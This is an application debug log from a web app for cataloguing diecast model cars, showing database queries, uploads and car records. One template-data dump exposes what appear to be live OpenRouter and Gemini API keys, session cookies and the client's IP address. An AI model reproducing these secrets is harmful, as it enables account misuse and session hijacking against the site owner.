      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:44:08.615Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:44:08.615Z server-connect:app Executing action step identify
2026-02-04T10:44:08.615Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:08.616Z server-connect:output identity: 1
2026-02-04T10:44:08.616Z server-connect:app Executing action step restrict
2026-02-04T10:44:08.616Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:08.616Z server-connect:output restrict: undefined
2026-02-04T10:44:08.616Z server-connect:app Executing action step single
2026-02-04T10:44:08.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:44:08.616Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20260201_003517_0b33ff79-157f-4f19-a2f8-fd663d71cea7.jpg'
}
2026-02-04T10:44:08.616Z server-connect:app Executing action step delete
2026-02-04T10:44:08.616Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:44:08.617Z server-connect:output delete: { affected: 1 }
2026-02-04T10:44:08.617Z server-connect:app Executing action step remove
2026-02-04T10:44:08.617Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:44:08.617Z server-connect:output fileRemove: true
2026-02-04T10:44:08.939Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:44:08.939Z server-connect:app Executing action step identify
2026-02-04T10:44:08.939Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:08.940Z server-connect:output identity: 1
2026-02-04T10:44:08.940Z server-connect:app Executing action step restrict
2026-02-04T10:44:08.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:08.940Z server-connect:output restrict: undefined
2026-02-04T10:44:08.940Z server-connect:app Executing action step paged
2026-02-04T10:44:08.940Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:44:08.942Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T10:44:09.254Z server-connect:router Serving templateView /
2026-02-04T10:44:09.254Z server-connect:app Executing action step identify
2026-02-04T10:44:09.254Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:09.255Z server-connect:output identity: 1
2026-02-04T10:44:09.255Z server-connect:app Executing action step restrict
2026-02-04T10:44:09.255Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:44:09.255Z server-connect:output restrict: undefined
2026-02-04T10:44:09.255Z server-connect:app Executing action step restrict
2026-02-04T10:44:09.255Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:44:09.256Z server-connect:output restrict: undefined
2026-02-04T10:44:09.256Z server-connect:router Render template layouts/main
2026-02-04T10:44:09.256Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:44:10.415Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:44:10.415Z server-connect:app Executing action step identify
2026-02-04T10:44:10.415Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:10.415Z server-connect:output identity: 1
2026-02-04T10:44:10.415Z server-connect:app Executing action step restrict
2026-02-04T10:44:10.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:10.416Z server-connect:output restrict: undefined
2026-02-04T10:44:10.416Z server-connect:app Executing action step condition
2026-02-04T10:44:10.416Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:44:10.416Z server-connect:app Executing action step update
2026-02-04T10:44:10.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:44:10.417Z server-connect:output update: { affected: 1 }
2026-02-04T10:44:10.417Z server-connect:app Executing action step upload
2026-02-04T10:44:10.417Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:44:10.417Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:44:10.417Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:44:10.417Z server-connect:upload Processing file: {
  name: 's-l1600 (9).webp',
  data: <Buffer >,
  size: 94620,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-49-20378841770201850414',
  truncated: false,
  mimetype: 'image/webp',
  md5: '207e350cd6e39954bfe3fce1dd5519e4',
  mv: [Function: mv]
}
2026-02-04T10:44:10.417Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp',
  rel: 'public/assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp'
}
2026-02-04T10:44:10.417Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp',
  rel: 'assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp'
}
2026-02-04T10:44:10.417Z server-connect:output upload_image: [
  {
    name: 's-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp',
    path: '/public/assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp',
    url: '/assets/images/diecast/s-l1600_9_56445af2-5931-41fc-82d6-e881bfae5bea.webp',
    type: 'image/webp',
    size: 94620
  }
]
2026-02-04T10:44:10.417Z server-connect:app Executing action step repeat
2026-02-04T10:44:10.417Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:44:10.417Z server-connect:app Executing action step insert
2026-02-04T10:44:10.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:44:10.418Z server-connect:output images: { affected: 1, identity: 200 }
2026-02-04T10:44:10.418Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:44:10.418Z server-connect:output condition: undefined
2026-02-04T10:44:10.720Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:44:10.721Z server-connect:app Executing action step identify
2026-02-04T10:44:10.721Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:10.721Z server-connect:output identity: 1
2026-02-04T10:44:10.721Z server-connect:app Executing action step restrict
2026-02-04T10:44:10.721Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:10.722Z server-connect:output restrict: undefined
2026-02-04T10:44:10.722Z server-connect:app Executing action step paged
2026-02-04T10:44:10.722Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:44:10.723Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:44:24.327Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:44:24.327Z server-connect:app Executing action step identify
2026-02-04T10:44:24.327Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:24.327Z server-connect:output identity: 1
2026-02-04T10:44:24.328Z server-connect:app Executing action step restrict
2026-02-04T10:44:24.328Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:24.328Z server-connect:output restrict: undefined
2026-02-04T10:44:24.328Z server-connect:app Executing action step paged
2026-02-04T10:44:24.328Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:44:24.330Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:44:29.556Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:44:29.556Z server-connect:app Executing action step identify
2026-02-04T10:44:29.556Z server-connect:app options: { provider: 'security' }
2026-02-04T10:44:29.556Z server-connect:output identity: 1
2026-02-04T10:44:29.556Z server-connect:app Executing action step restrict
2026-02-04T10:44:29.556Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:44:29.556Z server-connect:output restrict: undefined
2026-02-04T10:44:29.556Z server-connect:app Executing action step paged
2026-02-04T10:44:29.556Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` 